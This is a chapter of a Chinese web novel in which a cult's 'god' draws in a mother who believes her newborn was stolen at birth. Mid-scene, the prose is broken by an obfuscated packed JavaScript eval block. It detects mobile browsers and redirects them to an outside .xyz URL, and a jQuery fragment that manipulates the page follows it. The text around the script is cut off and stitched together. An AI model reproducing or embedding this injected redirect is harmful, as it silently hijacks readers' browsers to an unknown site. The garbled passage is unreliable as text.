12. 第十场 白日下的母亲
作品:《承受》 神明进机械后面具没修好的地方就自动修完了,当时两人都没注意这个微不足道的事实。
到了下午,神明感觉自己体内好不容易积攒的赐福莫名流失了,才明白机械是怎么好的。
原来她当时感受到的赐福是自己的!
神明尖叫着让面具赔,面具没办法,只好临时在加密通讯里给新信众发来集聚的信息召开集会。
3月23日13:20
【Cover】:“特吕斯,跑团俱乐部。”
名字长度代表了时间,配合不定期更新的对照表,用于匹配首字代表的是上午或下午。
温莎简易解码,下午三点到目的地。
她是第一次参与集会,从埃森到那里需要差不多两个小时,一点二十的临时通知可以说完全没有考虑她的处境。
这让她的观感很不好。
他们的宣语是神爱世人,会拯救世间一切苦难。现在看来也只是个属于人的两面三刀组织。
她一股脑将早准备好的材料塞进包里,抓住包就风风火火地出了门。
那也要去!
她的人生已经跌到谷底,向哪里走都是上行。
还有什么能比上联更差的呢?
3月23日14:43
车况不好,公交被堵在路上,估计得迟到半个小时了。
温莎坐在后排揉着自己的腰,一脸懊恼。
出门太急,也不知道怎么抻到了,自从剖腹产后腰疼的毛病就没停过……
“咚咚。”车窗传来一阵敲击声。
温莎扭过头,看到一个黑色机车服女人支着摩托,伸手敲着自己的这块车窗。
见她回头,女人指了指自己的手环。
温莎下意识打开手环。
3月23日14:43
【Cover】:“下车。”
温莎一愣,惊讶地看向女人,手环的消息提醒在耳麦中响起。
【Cover】:“别愣着,下车。”
温莎不再愣神,站起身大声和司机道:“师傅,麻烦您开下门,我有急事要下车!”
温莎一下车就看到那女人不知道什么时候绕到门的右侧。
她把头盔丢到温莎怀里:“上车,我们赶时间。”
温莎丝毫没有犹豫地戴上头盔,坐在女人身后,伸手抱住她。
“抓紧点,车速会很快。”
她听到女人冷冰冰的声音从头盔内置音响中传来。
“你是……面具吗?传说中神明手下神秘的二把手?”
“神明说你家离圣堂远,情况又特殊,让我来接你。护腰在你身后,过了这段路是直线,你可以戴上。”
温莎愣住了。
头盔的封闭空间让声音更加聚拢,女人沉稳的语气本身就使人感到安心。一股暖流划过干涸的心脏,温莎红了眼睛。
她已经很久没有感受过这样的温暖了。
还好来了……
“谢谢。”
面具听到女人哽咽的道谢,嗯了一声,不再说话。温莎也识趣地没有继续说什么。
抽泣声时不时从音响中传来,面具一路疾速穿梭于被按下暂停键的车流,既没有安慰也没有制止。
她只是沉默地做着自己的事,像是不会受到外界的丝毫影响。
色彩各异的车辆在风中化成缤纷的油彩,温莎感觉自己好像在看什么解压跑酷视频,心口一轻,像是移开一座大山,终于接触到了新鲜的空气。
她愣了愣。
从什么时候起,自己连一点点轻松的心境都不再拥有了呢?
在面具再一次变道加速冲出后,温莎意识到刚才她竟然因为别人一句话就从机动车道步行换了个乘。
她敬畏地瞄了面具一眼,这个话很少的女人更是并行在公交侧、直接上手敲窗的强者。
这已经不是常人了……
她愈发期待神明能给自己带来的改变。
3月23日15:00
白袍信徒照例检查了温莎携带的物品,收走了她的手环。
面具把她带到所谓的俱乐部就离开了,房间里除了白袍人还有两个普通人,她被排在最后一个。
当时她有些忐忑地和他们交流,以为是什么老信众想询问些经验,结果发现对方与自己一样也是新来的人。
两个人出乎她的意料,一个来自底利马,一个来自费可。
来自费可的女人低声告诉温莎,神明大人的信徒们天南海北地来,甚至在上联区都有信徒作为眼线。
温莎还没和底利马人说两句话,一个白袍信徒就走过来给他套上了头套带走。剩下的费可女人习以为常,温柔地安慰她说前面人都是这样的。
温莎道谢后不知道继续说什么,女人垂着眸子不知道在想什么。两人安静地站在自己的一小块区域,没有再继续交流。
很快,女人也被带走了。
白袍人把头套戴在她头上,低声告诉她别害怕,在七拐八拐中把人带到了圣堂拱门前。
如果是面具接自己之前,看到白袍人的这些行为,最后还让她交手环,她肯定还是要犹豫一下的。
但现在,她愿意交付自己全部的信任了。
信徒一手握拳放于胸前向她鞠躬请她进入,温莎深呼吸,推开小小的木门。
“你好,温莎,很高兴见到你,我是神明。”
莹白的灵态少女在巨大的水族箱上方转了一个圈,气泡在白裙中上浮、鼓裂。
温莎的情绪也随之胀破。
3月23日15:03
光芒。
浅金色的丝线从虚空中投落,自发缠绕上她的手腕脚踝,轻若无物。
上方的光芒不断变亮,她伸出手向上探去。丝线似乎察觉到她朦胧的心绪,将她从地面带起。
缓慢升起的途中,她低头。
脚下是一片无垠的星空。
不,是一面碎裂的镜子。
镜片映射着无边宇宙,她看到一个自己平躺在镜子之下。黑色的裂纹爬满她的身躯,但她无知无觉地温柔笑着沉睡。
她觉得那个自己好像失去了什么。
“痴心,叫我痴心吧。”
金线带着她靠近耀眼的光芒:眼前忽然闪过虫群般的文字、变换的面容、少女的灵魂、黏稠的黑泥……
还有一个陌生的影子。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16449313|185251||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
痴心猛然惊醒。
“醒了?”
一个黑罗缠目的青年支着头坐在床边,见她醒了,当即扭过头不咸不淡问道。
痴心捂着脑袋。
她的思维很混乱而粉碎,过去的记忆变得陌生。
甚至连自己是谁都需要花上许多时间才能从庞杂的思维碎屑中找到。
面具很快意识到了对方正在经历的痛苦。
一时间房间内无人开口,陷入一片宁静。
与两人一门之隔,哀恸的哭嚎在空荡圣堂激起回响。
温莎跪倒在地面上,声泪俱下地从单肩包从取出一叠医疗诊单。
“这是每一次的检查报告,他很健康,每一次检查医生都跟我说他是个健康的孩子。他们问我孩子的父亲怎么没来,我说这是我一个人的孩子。医生就提醒我说,那等他长大了,你带他去卫生间会比较麻烦。我听懂了,我在那时候想,他们人真的很好——但我不知道,因为我的一句无心之言,他们就盯上我了!他们那时候就盯上我了!
“我想给那孩子最好的一切,我去了克家最好最大的医院,我没想过他们会做出这样的勾当……”
温莎几乎说不下去了,把未被放下的苦难讲出,无异于将未结痂的伤口撕开示人。
一只机械手轻轻搭在她的头上:“我的孩子,你受苦了。”
温莎哭得撕心裂肺。她匍匐在冰冷的机械脚上,却像是怀抱着普罗米修斯带来的火种。
“在我精疲力尽地生出那孩子后,我陷入了昏迷,等我醒来时,他们……”
神明叹息一声,祂蹲下身。
“他们告诉我……”她几近无声地吐出几个字,“他是个死婴。”
温莎抓着神明的胳膊,感受到一个冷硬的拥抱。
“他们将那个死婴带到我面前。大人,我是母亲,我是他的母亲,我知道那不是他,那绝不是他……”
温莎倔强地抬头,满脸泪痕。
“他们把我的孩子换走了!我知道!我还能听到那孩子的哭声,他问我为什么不保护好他,他才刚出生,他哪里有保护自己的能力!但我却晕了过去!在我孤身一人生育的时候,他们故意拉长了生产时间,就是为了让我昏过去,然后换走我的孩子!”
“你会找到他的,孩子。”神明将温莎托起,“只要你愿意相信我。”
“我愿意!我愿意相信您,大人!您是上天派下来拯救我于苦难的神明,我会追随您!只要您能帮我找到他,让我做什么都可以,我什么都能做!”
“很好……”
神明闭上双眼,感受着从温莎精神中流淌而出的赐福。
温暖却锥心泣血,像是一道狰狞的疤痕出现在她的精神世界。
“孩子,这不是你该承受的苦难。四大家族为恶太多,自有天诛。抬起头来。”
温莎扬头,看向天幕上的绘画。
“告诉我,你看到了什么。”
“我已看见……”温莎瞳孔失焦,口中喃喃,“他们都不应存在。”
“正是。”
神明张开双臂,白色的圣光从天而降。
“他们都不应存在,而你的愿望,定然成真。”